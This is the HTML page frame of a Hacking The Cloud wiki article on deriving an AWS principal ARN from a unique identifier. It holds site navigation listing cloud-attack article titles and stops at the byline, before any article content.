5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/enumerate_principal_arn_from_unique_id.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path 